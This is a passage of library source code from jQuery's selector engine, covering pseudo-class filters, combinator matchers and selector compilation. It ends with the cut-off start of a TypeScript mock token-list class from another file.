							push.call( results, elem );
						}
						return results;

					// Element context
					} else {
						if ( newContext && ( elem = newContext.getElementById( m ) ) &&
							jQuery.contains( context, elem ) ) {

							push.call( results, elem );
							return results;
						}
					}

				// Type selector
				} else if ( match[ 2 ] ) {
					push.apply( results, context.getElementsByTagName( selector ) );
					return results;

				// Class selector
				} else if ( ( m = match[ 3 ] ) && context.getElementsByClassName ) {
					push.apply( results, context.getElementsByClassName( m ) );
					return results;
				}
			}

			// Take advantage of querySelectorAll
			if ( !nonnativeSelectorCache[ selector + " " ] &&
				( !rbuggyQSA || !rbuggyQSA.test( selector ) ) ) {

				newSelector = selector;
				newContext = context;

				// qSA considers elements outside a scoping root when evaluating child or
				// descendant combinators, which is not what we want.
				// In such cases, we work around the behavior by prefixing every selector in the
				// list with an ID selector referencing the scope context.
				// The technique has to be used as well when a leading combinator is used
				// as such selectors are not recognized by querySelectorAll.
				// Thanks to Andrew Dupont for this technique.
				if ( nodeType === 1 &&
					( rdescend.test( selector ) || rleadingCombinator.test( selector ) ) ) {

					// Expand context for sibling selectors
					newContext = rsibling.test( selector ) &&
						testContext( context.parentNode ) ||
						context;

					// Outside of IE, if we're not changing the context we can
					// use :scope instead of an ID.
					// Support: IE 11+
					// IE sometimes throws a "Permission denied" error when strict-comparing
					// two documents; shallow comparisons work.
					// eslint-disable-next-line eqeqeq
					if ( newContext != context || isIE ) {

						// Capture the context ID, setting it first if necessary
						if ( ( nid = context.getAttribute( "id" ) ) ) {
							nid = jQuery.escapeSelector( nid );
						} else {
							context.setAttribute( "id", ( nid = jQuery.expando ) );
						}
					}

					// Prefix every selector in the list
					groups = tokenize( selector );
					i = groups.length;
					while ( i-- ) {
						groups[ i ] = ( nid ? "#" + nid : ":scope" ) + " " +
							toSelector( groups[ i ] );
					}
					newSelector = groups.join( "," );
				}

				try {
					push.apply( results,
						newContext.querySelectorAll( newSelector )
					);
					return results;
				} catch ( qsaError ) {
					nonnativeSelectorCache( selector, true );
				} finally {
					if ( nid === jQuery.expando ) {
						context.removeAttribute( "id" );
					}
				}
			}
		}
	}

	// All others
	return select( selector.replace( rtrimCSS, "$1" ), context, results, seed );
}

/**
 * Mark a function for special use by jQuery selector module
 * @param {Function} fn The function to mark
 */
function markFunction( fn ) {
	fn[ jQuery.expando ] = true;
	return fn;
}

/**
 * Returns a function to use in pseudos for input types
 * @param {String} type
 */
function createInputPseudo( type ) {
	return function( elem ) {
		return nodeName( elem, "input" ) && elem.type === type;
	};
}

/**
 * Returns a function to use in pseudos for buttons
 * @param {String} type
 */
function createButtonPseudo( type ) {
	return function( elem ) {
		return ( nodeName( elem, "input" ) || nodeName( elem, "button" ) ) &&
			elem.type === type;
	};
}

/**
 * Returns a function to use in pseudos for :enabled/:disabled
 * @param {Boolean} disabled true for :disabled; false for :enabled
 */
function createDisabledPseudo( disabled ) {

	// Known :disabled false positives: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable
	return function( elem ) {

		// Only certain elements can match :enabled or :disabled
		// https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
		// https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
		if ( "form" in elem ) {

			// Check for inherited disabledness on relevant non-disabled elements:
			// * listed form-associated elements in a disabled fieldset
			//   https://html.spec.whatwg.org/multipage/forms.html#category-listed
			//   https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
			// * option elements in a disabled optgroup
			//   https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
			// All such elements have a "form" property.
			if ( elem.parentNode && elem.disabled === false ) {

				// Option elements defer to a parent optgroup if present
				if ( "label" in elem ) {
					if ( "label" in elem.parentNode ) {
						return elem.parentNode.disabled === disabled;
					} else {
						return elem.disabled === disabled;
					}
				}

				// Support: IE 6 - 11+
				// Use the isDisabled shortcut property to check for disabled fieldset ancestors
				return elem.isDisabled === disabled ||

					// Where there is no isDisabled, check manually
					elem.isDisabled !== !disabled &&
						inDisabledFieldset( elem ) === disabled;
			}

			return elem.disabled === disabled;

		// Try to winnow out elements that can't be disabled before trusting the disabled property.
		// Some victims get caught in our net (label, legend, menu, track), but it shouldn't
		// even exist on them, let alone have a boolean value.
		} else if ( "label" in elem ) {
			return elem.disabled === disabled;
		}

		// Remaining elements are neither :enabled nor :disabled
		return false;
	};
}

/**
 * Returns a function to use in pseudos for positionals
 * @param {Function} fn
 */
function createPositionalPseudo( fn ) {
	return markFunction( function( argument ) {
		argument = +argument;
		return markFunction( function( seed, matches ) {
			var j,
				matchIndexes = fn( [], seed.length, argument ),
				i = matchIndexes.length;

			// Match elements found at the specified indexes
			while ( i-- ) {
				if ( seed[ ( j = matchIndexes[ i ] ) ] ) {
					seed[ j ] = !( matches[ j ] = seed[ j ] );
				}
			}
		} );
	} );
}

/**
 * Sets document-related variables once based on the current document
 * @param {Element|Object} [node] An element or document object to use to set the document
 */
function setDocument( node ) {
	var subWindow,
		doc = node ? node.ownerDocument || node : document;

	// Return early if doc is invalid or already selected
	// Support: IE 11+
	// IE sometimes throws a "Permission denied" error when strict-comparing
	// two documents; shallow comparisons work.
	// eslint-disable-next-line eqeqeq
	if ( doc == document$1 || doc.nodeType !== 9 ) {
		return;
	}

	// Update global variables
	document$1 = doc;
	documentElement$1 = document$1.documentElement;
	documentIsHTML = !jQuery.isXMLDoc( document$1 );

	// Support: IE 9 - 11+
	// Accessing iframe documents after unload throws "permission denied" errors (see trac-13936)
	// Support: IE 11+
	// IE sometimes throws a "Permission denied" error when strict-comparing
	// two documents; shallow comparisons work.
	// eslint-disable-next-line eqeqeq
	if ( isIE && document != document$1 &&
		( subWindow = document$1.defaultView ) && subWindow.top !== subWindow ) {
		subWindow.addEventListener( "unload", unloadHandler );
	}
}

find.matches = function( expr, elements ) {
	return find( expr, null, null, elements );
};

find.matchesSelector = function( elem, expr ) {
	setDocument( elem );

	if ( documentIsHTML &&
		!nonnativeSelectorCache[ expr + " " ] &&
		( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) {

		try {
			return matches.call( elem, expr );
		} catch ( e ) {
			nonnativeSelectorCache( expr, true );
		}
	}

	return find( expr, document$1, null, [ elem ] ).length > 0;
};

jQuery.expr = {

	// Can be adjusted by the user
	cacheLength: 50,

	createPseudo: markFunction,

	match: matchExpr,

	find: {
		ID: function( id, context ) {
			if ( typeof context.getElementById !== "undefined" && documentIsHTML ) {
				var elem = context.getElementById( id );
				return elem ? [ elem ] : [];
			}
		},

		TAG: function( tag, context ) {
			if ( typeof context.getElementsByTagName !== "undefined" ) {
				return context.getElementsByTagName( tag );

				// DocumentFragment nodes don't have gEBTN
			} else {
				return context.querySelectorAll( tag );
			}
		},

		CLASS: function( className, context ) {
			if ( typeof context.getElementsByClassName !== "undefined" && documentIsHTML ) {
				return context.getElementsByClassName( className );
			}
		}
	},

	relative: {
		">": { dir: "parentNode", first: true },
		" ": { dir: "parentNode" },
		"+": { dir: "previousSibling", first: true },
		"~": { dir: "previousSibling" }
	},

	preFilter: preFilter,

	filter: {
		ID: function( id ) {
			var attrId = unescapeSelector( id );
			return function( elem ) {
				return elem.getAttribute( "id" ) === attrId;
			};
		},

		TAG: function( nodeNameSelector ) {
			var expectedNodeName = unescapeSelector( nodeNameSelector ).toLowerCase();
			return nodeNameSelector === "*" ?

				function() {
					return true;
				} :

				function( elem ) {
					return nodeName( elem, expectedNodeName );
				};
		},

		CLASS: function( className ) {
			var pattern = classCache[ className + " " ];

			return pattern ||
				( pattern = new RegExp( "(^|" + whitespace + ")" + className +
					"(" + whitespace + "|$)" ) ) &&
				classCache( className, function( elem ) {
					return pattern.test(
						typeof elem.className === "string" && elem.className ||
							typeof elem.getAttribute !== "undefined" &&
								elem.getAttribute( "class" ) ||
							""
					);
				} );
		},

		ATTR: function( name, operator, check ) {
			return function( elem ) {
				var result = elem.getAttribute( name );

				if ( result == null ) {
					return operator === "!=";
				}
				if ( !operator ) {
					return true;
				}

				result += "";

				if ( operator === "=" ) {
					return result === check;
				}
				if ( operator === "!=" ) {
					return result !== check;
				}
				if ( operator === "^=" ) {
					return check && result.indexOf( check ) === 0;
				}
				if ( operator === "*=" ) {
					return check && result.indexOf( check ) > -1;
				}
				if ( operator === "$=" ) {
					return check && result.slice( -check.length ) === check;
				}
				if ( operator === "~=" ) {
					return ( " " + result.replace( rwhitespace, " " ) + " " )
						.indexOf( check ) > -1;
				}
				if ( operator === "|=" ) {
					return result === check || result.slice( 0, check.length + 1 ) === check + "-";
				}

				return false;
			};
		},

		CHILD: function( type, what, _argument, first, last ) {
			var simple = type.slice( 0, 3 ) !== "nth",
				forward = type.slice( -4 ) !== "last",
				ofType = what === "of-type";

			return first === 1 && last === 0 ?

				// Shortcut for :nth-*(n)
				function( elem ) {
					return !!elem.parentNode;
				} :

				function( elem, _context, xml ) {
					var cache, outerCache, node, nodeIndex, start,
						dir = simple !== forward ? "nextSibling" : "previousSibling",
						parent = elem.parentNode,
						name = ofType && elem.nodeName.toLowerCase(),
						useCache = !xml && !ofType,
						diff = false;

					if ( parent ) {

						// :(first|last|only)-(child|of-type)
						if ( simple ) {
							while ( dir ) {
								node = elem;
								while ( ( node = node[ dir ] ) ) {
									if ( ofType ?
										nodeName( node, name ) :
										node.nodeType === 1 ) {

										return false;
									}
								}

								// Reverse direction for :only-* (if we haven't yet done so)
								start = dir = type === "only" && !start && "nextSibling";
							}
							return true;
						}

						start = [ forward ? parent.firstChild : parent.lastChild ];

						// non-xml :nth-child(...) stores cache data on `parent`
						if ( forward && useCache ) {

							// Seek `elem` from a previously-cached index
							outerCache = parent[ jQuery.expando ] ||
								( parent[ jQuery.expando ] = {} );
							cache = outerCache[ type ] || [];
							nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];
							diff = nodeIndex && cache[ 2 ];
							node = nodeIndex && parent.childNodes[ nodeIndex ];

							while ( ( node = ++nodeIndex && node && node[ dir ] ||

								// Fallback to seeking `elem` from the start
								( diff = nodeIndex = 0 ) || start.pop() ) ) {

								// When found, cache indexes on `parent` and break
								if ( node.nodeType === 1 && ++diff && node === elem ) {
									outerCache[ type ] = [ dirruns, nodeIndex, diff ];
									break;
								}
							}

						} else {

							// Use previously-cached element index if available
							if ( useCache ) {
								outerCache = elem[ jQuery.expando ] ||
									( elem[ jQuery.expando ] = {} );
								cache = outerCache[ type ] || [];
								nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];
								diff = nodeIndex;
							}

							// xml :nth-child(...)
							// or :nth-last-child(...) or :nth(-last)?-of-type(...)
							if ( diff === false ) {

								// Use the same loop as above to seek `elem` from the start
								while ( ( node = ++nodeIndex && node && node[ dir ] ||
									( diff = nodeIndex = 0 ) || start.pop() ) ) {

									if ( ( ofType ?
										nodeName( node, name ) :
										node.nodeType === 1 ) &&
										++diff ) {

										// Cache the index of each encountered element
										if ( useCache ) {
											outerCache = node[ jQuery.expando ] ||
												( node[ jQuery.expando ] = {} );
											outerCache[ type ] = [ dirruns, diff ];
										}

										if ( node === elem ) {
											break;
										}
									}
								}
							}
						}

						// Incorporate the offset, then check against cycle size
						diff -= last;
						return diff === first || ( diff % first === 0 && diff / first >= 0 );
					}
				};
		},

		PSEUDO: function( pseudo, argument ) {

			// pseudo-class names are case-insensitive
			// https://www.w3.org/TR/selectors/#pseudo-classes
			// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters
			// Remember that setFilters inherits from pseudos
			var fn = jQuery.expr.pseudos[ pseudo ] ||
				jQuery.expr.setFilters[ pseudo.toLowerCase() ] ||
				selectorError( "unsupported pseudo: " + pseudo );

			// The user may use createPseudo to indicate that
			// arguments are needed to create the filter function
			// just as jQuery does
			if ( fn[ jQuery.expando ] ) {
				return fn( argument );
			}

			return fn;
		}
	},

	pseudos: {

		// Potentially complex pseudos
		not: markFunction( function( selector ) {

			// Trim the selector passed to compile
			// to avoid treating leading and trailing
			// spaces as combinators
			var input = [],
				results = [],
				matcher = compile( selector.replace( rtrimCSS, "$1" ) );

			return matcher[ jQuery.expando ] ?
				markFunction( function( seed, matches, _context, xml ) {
					var elem,
						unmatched = matcher( seed, null, xml, [] ),
						i = seed.length;

					// Match elements unmatched by `matcher`
					while ( i-- ) {
						if ( ( elem = unmatched[ i ] ) ) {
							seed[ i ] = !( matches[ i ] = elem );
						}
					}
				} ) :
				function( elem, _context, xml ) {
					input[ 0 ] = elem;
					matcher( input, null, xml, results );

					// Don't keep the element
					// (see https://github.com/jquery/sizzle/issues/299)
					input[ 0 ] = null;
					return !results.pop();
				};
		} ),

		has: markFunction( function( selector ) {
			return function( elem ) {
				return find( selector, elem ).length > 0;
			};
		} ),

		contains: markFunction( function( text ) {
			text = unescapeSelector( text );
			return function( elem ) {
				return ( elem.textContent || jQuery.text( elem ) ).indexOf( text ) > -1;
			};
		} ),

		// "Whether an element is represented by a :lang() selector
		// is based solely on the element's language value
		// being equal to the identifier C,
		// or beginning with the identifier C immediately followed by "-".
		// The matching of C against the element's language value is performed case-insensitively.
		// The identifier C does not have to be a valid language name."
		// https://www.w3.org/TR/selectors/#lang-pseudo
		lang: markFunction( function( lang ) {

			// lang value must be a valid identifier
			if ( !ridentifier.test( lang || "" ) ) {
				selectorError( "unsupported lang: " + lang );
			}
			lang = unescapeSelector( lang ).toLowerCase();
			return function( elem ) {
				var elemLang;
				do {
					if ( ( elemLang = documentIsHTML ?
						elem.lang :
						elem.getAttribute( "xml:lang" ) || elem.getAttribute( "lang" ) ) ) {

						elemLang = elemLang.toLowerCase();
						return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0;
					}
				} while ( ( elem = elem.parentNode ) && elem.nodeType === 1 );
				return false;
			};
		} ),

		// Miscellaneous
		target: function( elem ) {
			var hash = window.location && window.location.hash;
			return hash && hash.slice( 1 ) === elem.id;
		},

		root: function( elem ) {
			return elem === documentElement$1;
		},

		focus: function( elem ) {
			return elem === document$1.activeElement &&
				document$1.hasFocus() &&
				!!( elem.type || elem.href || ~elem.tabIndex );
		},

		// Boolean properties
		enabled: createDisabledPseudo( false ),
		disabled: createDisabledPseudo( true ),

		checked: function( elem ) {

			// In CSS3, :checked should return both checked and selected elements
			// https://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
			return ( nodeName( elem, "input" ) && !!elem.checked ) ||
				( nodeName( elem, "option" ) && !!elem.selected );
		},

		selected: function( elem ) {

			// Support: IE <=11+
			// Accessing the selectedIndex property
			// forces the browser to treat the default option as
			// selected when in an optgroup.
			if ( isIE && elem.parentNode ) {
				// eslint-disable-next-line no-unused-expressions
				elem.parentNode.selectedIndex;
			}

			return elem.selected === true;
		},

		// Contents
		empty: function( elem ) {

			// https://www.w3.org/TR/selectors/#empty-pseudo
			// :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),
			//   but not by others (comment: 8; processing instruction: 7; etc.)
			// nodeType < 6 works because attributes (2) do not appear as children
			for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
				if ( elem.nodeType < 6 ) {
					return false;
				}
			}
			return true;
		},

		parent: function( elem ) {
			return !jQuery.expr.pseudos.empty( elem );
		},

		// Element/input types
		header: function( elem ) {
			return rheader.test( elem.nodeName );
		},

		input: function( elem ) {
			return rinputs.test( elem.nodeName );
		},

		button: function( elem ) {
			return nodeName( elem, "input" ) && elem.type === "button" ||
				nodeName( elem, "button" );
		},

		text: function( elem ) {
			return nodeName( elem, "input" ) && elem.type === "text";
		},

		// Position-in-collection
		first: createPositionalPseudo( function() {
			return [ 0 ];
		} ),

		last: createPositionalPseudo( function( _matchIndexes, length ) {
			return [ length - 1 ];
		} ),

		eq: createPositionalPseudo( function( _matchIndexes, length, argument ) {
			return [ argument < 0 ? argument + length : argument ];
		} ),

		even: createPositionalPseudo( function( matchIndexes, length ) {
			var i = 0;
			for ( ; i < length; i += 2 ) {
				matchIndexes.push( i );
			}
			return matchIndexes;
		} ),

		odd: createPositionalPseudo( function( matchIndexes, length ) {
			var i = 1;
			for ( ; i < length; i += 2 ) {
				matchIndexes.push( i );
			}
			return matchIndexes;
		} ),

		lt: createPositionalPseudo( function( matchIndexes, length, argument ) {
			var i;

			if ( argument < 0 ) {
				i = argument + length;
			} else if ( argument > length ) {
				i = length;
			} else {
				i = argument;
			}

			for ( ; --i >= 0; ) {
				matchIndexes.push( i );
			}
			return matchIndexes;
		} ),

		gt: createPositionalPseudo( function( matchIndexes, length, argument ) {
			var i = argument < 0 ? argument + length : argument;
			for ( ; ++i < length; ) {
				matchIndexes.push( i );
			}
			return matchIndexes;
		} )
	}
};

jQuery.expr.pseudos.nth = jQuery.expr.pseudos.eq;

// Add button/input type pseudos
for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {
	jQuery.expr.pseudos[ i ] = createInputPseudo( i );
}
for ( i in { submit: true, reset: true } ) {
	jQuery.expr.pseudos[ i ] = createButtonPseudo( i );
}

// Easy API for creating new setFilters
function setFilters() {}
setFilters.prototype = jQuery.expr.filters = jQuery.expr.pseudos;
jQuery.expr.setFilters = new setFilters();

function addCombinator( matcher, combinator, base ) {
	var dir = combinator.dir,
		skip = combinator.next,
		key = skip || dir,
		checkNonElements = base && key === "parentNode",
		doneName = done++;

	return combinator.first ?

		// Check against closest ancestor/preceding element
		function( elem, context, xml ) {
			while ( ( elem = elem[ dir ] ) ) {
				if ( elem.nodeType === 1 || checkNonElements ) {
					return matcher( elem, context, xml );
				}
			}
			return false;
		} :

		// Check against all ancestor/preceding elements
		function( elem, context, xml ) {
			var oldCache, outerCache,
				newCache = [ dirruns, doneName ];

			// We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching
			if ( xml ) {
				while ( ( elem = elem[ dir ] ) ) {
					if ( elem.nodeType === 1 || checkNonElements ) {
						if ( matcher( elem, context, xml ) ) {
							return true;
						}
					}
				}
			} else {
				while ( ( elem = elem[ dir ] ) ) {
					if ( elem.nodeType === 1 || checkNonElements ) {
						outerCache = elem[ jQuery.expando ] || ( elem[ jQuery.expando ] = {} );

						if ( skip && nodeName( elem, skip ) ) {
							elem = elem[ dir ] || elem;
						} else if ( ( oldCache = outerCache[ key ] ) &&
							oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {

							// Assign to newCache so results back-propagate to previous elements
							return ( newCache[ 2 ] = oldCache[ 2 ] );
						} else {

							// Reuse newcache so results back-propagate to previous elements
							outerCache[ key ] = newCache;

							// A match means we're done; a fail means we have to keep checking
							if ( ( newCache[ 2 ] = matcher( elem, context, xml ) ) ) {
								return true;
							}
						}
					}
				}
			}
			return false;
		};
}

function elementMatcher( matchers ) {
	return matchers.length > 1 ?
		function( elem, context, xml ) {
			var i = matchers.length;
			while ( i-- ) {
				if ( !matchers[ i ]( elem, context, xml ) ) {
					return false;
				}
			}
			return true;
		} :
		matchers[ 0 ];
}

function multipleContexts( selector, contexts, results ) {
	var i = 0,
		len = contexts.length;
	for ( ; i < len; i++ ) {
		find( selector, contexts[ i ], results );
	}
	return results;
}

function condense( unmatched, map, filter, context, xml ) {
	var elem,
		newUnmatched = [],
		i = 0,
		len = unmatched.length,
		mapped = map != null;

	for ( ; i < len; i++ ) {
		if ( ( elem = unmatched[ i ] ) ) {
			if ( !filter || filter( elem, context, xml ) ) {
				newUnmatched.push( elem );
				if ( mapped ) {
					map.push( i );
				}
			}
		}
	}

	return newUnmatched;
}

function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {
	if ( postFilter && !postFilter[ jQuery.expando ] ) {
		postFilter = setMatcher( postFilter );
	}
	if ( postFinder && !postFinder[ jQuery.expando ] ) {
		postFinder = setMatcher( postFinder, postSelector );
	}
	return markFunction( function( seed, results, context, xml ) {
		var temp, i, elem, matcherOut,
			preMap = [],
			postMap = [],
			preexisting = results.length,

			// Get initial elements from seed or context
			elems = seed ||
				multipleContexts( selector || "*",
					context.nodeType ? [ context ] : context, [] ),

			// Prefilter to get matcher input, preserving a map for seed-results synchronization
			matcherIn = preFilter && ( seed || !selector ) ?
				condense( elems, preMap, preFilter, context, xml ) :
				elems;

		if ( matcher ) {

			// If we have a postFinder, or filtered seed, or non-seed postFilter
			// or preexisting results,
			matcherOut = postFinder || ( seed ? preFilter : preexisting || postFilter ) ?

				// ...intermediate processing is necessary
				[] :

				// ...otherwise use results directly
				results;

			// Find primary matches
			matcher( matcherIn, matcherOut, context, xml );
		} else {
			matcherOut = matcherIn;
		}

		// Apply postFilter
		if ( postFilter ) {
			temp = condense( matcherOut, postMap );
			postFilter( temp, [], context, xml );

			// Un-match failing elements by moving them back to matcherIn
			i = temp.length;
			while ( i-- ) {
				if ( ( elem = temp[ i ] ) ) {
					matcherOut[ postMap[ i ] ] = !( matcherIn[ postMap[ i ] ] = elem );
				}
			}
		}

		if ( seed ) {
			if ( postFinder || preFilter ) {
				if ( postFinder ) {

					// Get the final matcherOut by condensing this intermediate into postFinder contexts
					temp = [];
					i = matcherOut.length;
					while ( i-- ) {
						if ( ( elem = matcherOut[ i ] ) ) {

							// Restore matcherIn since elem is not yet a final match
							temp.push( ( matcherIn[ i ] = elem ) );
						}
					}
					postFinder( null, ( matcherOut = [] ), temp, xml );
				}

				// Move matched elements from seed to results to keep them synchronized
				i = matcherOut.length;
				while ( i-- ) {
					if ( ( elem = matcherOut[ i ] ) &&
						( temp = postFinder ? indexOf.call( seed, elem ) : preMap[ i ] ) > -1 ) {

						seed[ temp ] = !( results[ temp ] = elem );
					}
				}
			}

		// Add elements to results, through postFinder if defined
		} else {
			matcherOut = condense(
				matcherOut === results ?
					matcherOut.splice( preexisting, matcherOut.length ) :
					matcherOut
			);
			if ( postFinder ) {
				postFinder( null, results, matcherOut, xml );
			} else {
				push.apply( results, matcherOut );
			}
		}
	} );
}

function matcherFromTokens( tokens ) {
	var checkContext, matcher, j,
		len = tokens.length,
		leadingRelative = jQuery.expr.relative[ tokens[ 0 ].type ],
		implicitRelative = leadingRelative || jQuery.expr.relative[ " " ],
		i = leadingRelative ? 1 : 0,

		// The foundational matcher ensures that elements are reachable from top-level context(s)
		matchContext = addCombinator( function( elem ) {
			return elem === checkContext;
		}, implicitRelative, true ),
		matchAnyContext = addCombinator( function( elem ) {
			return indexOf.call( checkContext, elem ) > -1;
		}, implicitRelative, true ),
		matchers = [ function( elem, context, xml ) {

			// Support: IE 11+
			// IE sometimes throws a "Permission denied" error when strict-comparing
			// two documents; shallow comparisons work.
			// eslint-disable-next-line eqeqeq
			var ret = ( !leadingRelative && ( xml || context != outermostContext ) ) || (
				( checkContext = context ).nodeType ?
					matchContext( elem, context, xml ) :
					matchAnyContext( elem, context, xml ) );

			// Avoid hanging onto element
			// (see https://github.com/jquery/sizzle/issues/299)
			checkContext = null;
			return ret;
		} ];

	for ( ; i < len; i++ ) {
		if ( ( matcher = jQuery.expr.relative[ tokens[ i ].type ] ) ) {
			matchers = [ addCombinator( elementMatcher( matchers ), matcher ) ];
		} else {
			matcher = jQuery.expr.filter[ tokens[ i ].type ].apply( null, tokens[ i ].matches );

			// Return special upon seeing a positional matcher
			if ( matcher[ jQuery.expando ] ) {

				// Find the next relative operator (if any) for proper handling
				j = ++i;
				for ( ; j < len; j++ ) {
					if ( jQuery.expr.relative[ tokens[ j ].type ] ) {
						break;
					}
				}
				return setMatcher(
					i > 1 && elementMatcher( matchers ),
					i > 1 && toSelector(

						// If the preceding token was a descendant combinator, insert an implicit any-element `*`
						tokens.slice( 0, i - 1 )
							.concat( { value: tokens[ i - 2 ].type === " " ? "*" : "" } )
					).replace( rtrimCSS, "$1" ),
					matcher,
					i < j && matcherFromTokens( tokens.slice( i, j ) ),
					j < len && matcherFromTokens( ( tokens = tokens.slice( j ) ) ),
					j < len && toSelector( tokens )
				);
			}
			matchers.push( matcher );
		}
	}

	return elementMatcher( matchers );
}

function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
	var bySet = setMatchers.length > 0,
		byElement = elementMatchers.length > 0,
		superMatcher = function( seed, context, xml, results, outermost ) {
			var elem, j, matcher,
				matchedCount = 0,
				i = "0",
				unmatched = seed && [],
				setMatched = [],
				contextBackup = outermostContext,

				// We must always have either seed elements or outermost context
				elems = seed || byElement && jQuery.expr.find.TAG( "*", outermost ),

				// Use integer dirruns iff this is the outermost matcher
				dirrunsUnique = ( dirruns += contextBackup == null ? 1 : Math.random() || 0.1 );

			if ( outermost ) {

				// Support: IE 11+
				// IE sometimes throws a "Permission denied" error when strict-comparing
				// two documents; shallow comparisons work.
				// eslint-disable-next-line eqeqeq
				outermostContext = context == document$1 || context || outermost;
			}

			// Add elements passing elementMatchers directly to results
			for ( ; ( elem = elems[ i ] ) != null; i++ ) {
				if ( byElement && elem ) {
					j = 0;

					// Support: IE 11+
					// IE sometimes throws a "Permission denied" error when strict-comparing
					// two documents; shallow comparisons work.
					// eslint-disable-next-line eqeqeq
					if ( !context && elem.ownerDocument != document$1 ) {
						setDocument( elem );
						xml = !documentIsHTML;
					}
					while ( ( matcher = elementMatchers[ j++ ] ) ) {
						if ( matcher( elem, context || document$1, xml ) ) {
							push.call( results, elem );
							break;
						}
					}
					if ( outermost ) {
						dirruns = dirrunsUnique;
					}
				}

				// Track unmatched elements for set filters
				if ( bySet ) {

					// They will have gone through all possible matchers
					if ( ( elem = !matcher && elem ) ) {
						matchedCount--;
					}

					// Lengthen the array for every element, matched or not
					if ( seed ) {
						unmatched.push( elem );
					}
				}
			}

			// `i` is now the count of elements visited above, and adding it to `matchedCount`
			// makes the latter nonnegative.
			matchedCount += i;

			// Apply set filters to unmatched elements
			// NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount`
			// equals `i`), unless we didn't visit _any_ elements in the above loop because we have
			// no element matchers and no seed.
			// Incrementing an initially-string "0" `i` allows `i` to remain a string only in that
			// case, which will result in a "00" `matchedCount` that differs from `i` but is also
			// numerically zero.
			if ( bySet && i !== matchedCount ) {
				j = 0;
				while ( ( matcher = setMatchers[ j++ ] ) ) {
					matcher( unmatched, setMatched, context, xml );
				}

				if ( seed ) {

					// Reintegrate element matches to eliminate the need for sorting
					if ( matchedCount > 0 ) {
						while ( i-- ) {
							if ( !( unmatched[ i ] || setMatched[ i ] ) ) {
								setMatched[ i ] = pop.call( results );
							}
						}
					}

					// Discard index placeholder values to get only actual matches
					setMatched = condense( setMatched );
				}

				// Add matches to results
				push.apply( results, setMatched );

				// Seedless set matches succeeding multiple successful matchers stipulate sorting
				if ( outermost && !seed && setMatched.length > 0 &&
					( matchedCount + setMatchers.length ) > 1 ) {

					jQuery.uniqueSort( results );
				}
			}

			// Override manipulation of globals by nested matchers
			if ( outermost ) {
				dirruns = dirrunsUnique;
				outermostContext = contextBackup;
			}

			return unmatched;
		};

	return bySet ?
		markFunction( superMatcher ) :
		superMatcher;
}

function compile( selector, match /* Internal Use Only */ ) {
	var i,
		setMatchers = [],
		elementMatchers = [],
		cached = compilerCache[ selector + " " ];

	if ( !cached ) {

		// Generate a function of recursive functions that can be used to check each element
		if ( !match ) {
			match = tokenize( selector );
		}
		i = match.length;
		while ( i-- ) {
			cached = matcherFromTokens( match[ i ] );
			if ( cached[ jQuery.expando ] ) {
				setMatchers.push( cached );
			} else {
				elementMatchers.push( cached );
			}
		}

		// Cache the compiled function
		cached = compilerCache( selector,
			matcherFromGroupMatchers( elementMatchers, setMatchers ) );

		// Save selector and tokenization
		cached.selector = selector;
	}
	return cached;
}

/**
 * A low-level selection function that works with jQuery's compiled
 *  selector functions
 * @param {String|Function} selector A selector or a pre-compiled
 *  selector function built with jQuery selector compile
 * @param {Element} context
 * @param {Array} [results]
 * @param {Array} [seed] A set of elements to match against
 */
function select( selector, context, results, seed ) {
	var i, tokens, token, type, find,
		compiled = typeof selector === "function" && selector,
		match = !seed && tokenize( ( selector = compiled.selector || selector ) );

	results = results || [];

	// Try to minimize operations if there is only one selector in the list and no seed
	// (the latter of which guarantees us context)
	if ( match.length === 1 ) {

		// Reduce context if the leading compound selector is an ID
		tokens = match[ 0 ] = match[ 0 ].slice( 0 );
		if ( tokens.length > 2 && ( token = tokens[ 0 ] ).type === "ID" &&
				context.nodeType === 9 && documentIsHTML &&
				jQuery.expr.relative[ tokens[ 1 ].type ] ) {

			context = ( jQuery.expr.find.ID(
				unescapeSelector( token.matches[ 0 ] ),
				context
			) || [] )[ 0 ];
			if ( !context ) {
				return results;

			// Precompiled matchers will still verify ancestry, so step up a level
			} else if ( compiled ) {
				context = context.parentNode;
			}

			selector = selector.slice( tokens.shift().value.length );
		}

		// Fetch a seed set for right-to-left matching
		i = matchExpr.needsContext.test( selector ) ? 0 : tokens.length;
		while ( i-- ) {
			token = tokens[ i ];

			// Abort if we hit a combinator
			if ( jQuery.expr.relative[ ( type = token.type ) ] ) {
				break;
			}
			if ( ( find = jQuery.expr.find[ type ] ) ) {

				// Search, expanding context for leading sibling combinators
				if ( ( seed = find(
					unescapeSelector( token.matches[ 0 ] ),
					rsibling.test( tokens[ 0 ].type ) &&
						testContext( context.parentNode ) || context
				) ) ) {

					// If seed is empty or no tokens remain, we can return early
					tokens.splice( i, 1 );
					selector = seed.length && toSelector( tokens );
					if ( !selector ) {
						push.apply( results, seed );
						return results;
					}

					break;
				}
			}
		}
	}

	// Compile and execute a filtering function if one is not provided
	// Provide `match` to avoid retokenization if we modified the selector above
	( compiled || compile( selector, match ) )(
		seed,
		context,
		!documentIsHTML,
		results,
		!context || rsibling.test( selector ) && testContext( context.parentNode ) || context
	);
	return results;
}

// Initialize against the default document
setDocument();

jQuery.find = find;

// These have always been private, but they used to be documented as part of
// Sizzle so let's maintain them for now for backwards compatibility purposes.
find.compile = compile;
find.select = select;
find.setDocument = setDocument;
find.tokenize = tokenize;

return jQuery;

} );
;


================================================
FILE: src/mock-doc/token-list.ts
================================================
export class MockTokenList {
  constructor(
    private elm: HTMLElement,
